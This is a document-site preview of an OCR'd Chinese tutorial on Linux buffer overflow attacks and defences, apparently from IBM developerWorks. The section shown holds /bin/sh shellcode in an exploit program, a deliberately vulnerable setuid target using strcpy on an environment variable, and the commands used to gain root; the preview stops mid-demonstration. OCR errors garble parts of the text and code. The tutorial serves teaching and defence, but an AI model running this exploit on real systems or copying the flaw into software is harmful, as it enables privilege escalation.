【精品】Linux下缓冲区溢出攻击的原理及对策

【精品】Linux下缓冲区溢出攻击的原理及对策

ID:44588508

大小:458.41 KB

页数:18页

时间:2019-10-23

【精品】Linux下缓冲区溢出攻击的原理及对策_第1页
【精品】Linux下缓冲区溢出攻击的原理及对策_第2页
【精品】Linux下缓冲区溢出攻击的原理及对策_第3页
【精品】Linux下缓冲区溢出攻击的原理及对策_第4页
【精品】Linux下缓冲区溢出攻击的原理及对策_第5页
资源描述:

《【精品】Linux下缓冲区溢出攻击的原理及对策》由会员上传分享,免费在线阅读,更多相关内容在工程资料-天天文库

1、Linux下缓冲区溢岀攻击的原理及对策httD://www・ibm.com/develoDerworks/cn/linux/l-overflow/本文首先向读者讲解了LinuxH进程地址空间的布局以及进程堆栈帧的结构,然后在此基础上介绍了Linux下缓冲区溢出攻击的原理及对策。1.刖B从逻辑上讲进程的堆栈是由多个堆栈帧构成的,其中每个堆栈帧都对应一个函数调用。当函数调用发生时,新的堆栈帧被压入堆栈;当函数返回吋,和应的堆栈帧从堆栈中弹出。尽管堆栈帧结构的引入为在高级语言中实现函数或过程这样的概念捉供了直接的锁件支持,但是由于将两数返回地址这样的重要数据保存在程序员对见的堆栈屮,因此也

2、给系统安全带來了极大的隐患。历史上最著名的缓冲区溢出攻击可能要算是1988年11刀2日的MorrisWorm所携带的攻击代码了。这个因特网蠕虫利用了fingerd程序的缓冲区溢出漏洞,给用户带来了很大危害。此后,越來越多的缓冲区溢岀漏洞被发现。从bind、wu-ftpdtelnetdxapache等常用服务程序,到Microsoft.Oracle等软件厂商提供的应用程序,都存在着似乎永远也弥补不完的缓冲区溢出漏洞。根据绿盟科技提供的漏洞报告,2002年共发现各种操作系统和应用程序的漏洞1830个,其中缓冲区溢出漏洞有432个,占总数的23.6%.而绿盟科技评出的2002年严重程度、影

3、响范围最大的十个安全漏洞中,和缓冲区溢岀相关的就有6个。在读者阅读本文之前有一点需要说明,文屮所有示例程序的编译运行环境为gcc2.7.23以及bash1.14.7,如果读者不清楚自己所使用的编译运行环境可以通过以下命令杏看:Sgcc-vReadingspecsfrom/usr/lib/gcc-lib/i386・redhat・linux/2.7.2.3/specsgccversion2.7.2.3Srpm-qf/bin/shbash-1.14.7-16如果读者使用的是较高版本的gcc或bash的话,运行文中示例程序的结果可能会与这里给出的结果不尽相符,具体原因将在和应章节中做出解释。

4、2.Linux卜-缓冲区溢出攻击实例为了引起读者的兴趣,我们不妨先來看一个Linux下的缓冲区溢出攻击实例。图1攻击程序exe.c#include#includeexternchar**environ;intmain(intargc,char**argv){charlarge_string[128];long*long_ptr=(long*)large_string;inti;charshellcode[]=n\xeb\xlf\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x

5、0c\xb0\x0bun\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"n\x80\xe8\xdc\xff\xH\xff7bin/shn;for(i=0;i<32;i++)*(long_ptr+i)=(int)strtoul(argv[2],NULL,16);for(i=0;i<(int)strlen(shellcode);i++)large_string[i]=shellcode[i];sctcnv("KIRIKAn,largc_string,1);ex

6、ecle(argv[1],argv[1],NULL,environ);return0;图2攻击对象toto.c#include#includeintmain(intargc,char**argv){charbuffer[96];prints"-%p-H,&buffer);strcpy(buffer,getenv(nKIRIKA,r));return0;将上面两个程序分別编译为可执行程序,并且将toto改为属主为root的setuid程序:Sgccexe.c-oexeSgcctoto.c-ototoSsuPassword:#chownroot

7、.roottoto#chmod+stoto#Is-1exetoto-rwxr-xr-x1wyos11871Sep2820:20exe*-rwsr-sr-x1rootroot11269Sep2820:20toto*#exitOK,看看接下來会发牛什么。首先别忘了用whoami命令验证一下我们现在的身份。其实Linux继承了UNIX的一个习惯,即普通用户的命令提示符是以$开始的,而超级用户的命令提示符是以#开始的。SwhoamiwyS./exe./totoOx

当前文档最多预览五页,下载文档查看全文

此文档下载收益归作者所有

当前文档最多预览五页,下载文档查看全文
温馨提示:
1. 部分包含数学公式或PPT动画的文件,查看预览时可能会显示错乱或异常,文件下载后无此问题,请放心下载。
2. 本文档由用户上传,版权归属用户,天天文库负责整理代发布。如果您对本文档版权有争议请及时联系客服。
3. 下载前请仔细阅读文档内容,确认文档内容符合您的需求后进行下载,若出现内容与标题不符可向本站投诉处理。
4. 下载文档时可能由于网络波动等原因无法下载或下载错误,付费完成后未能成功下载的用户请联系客服处理。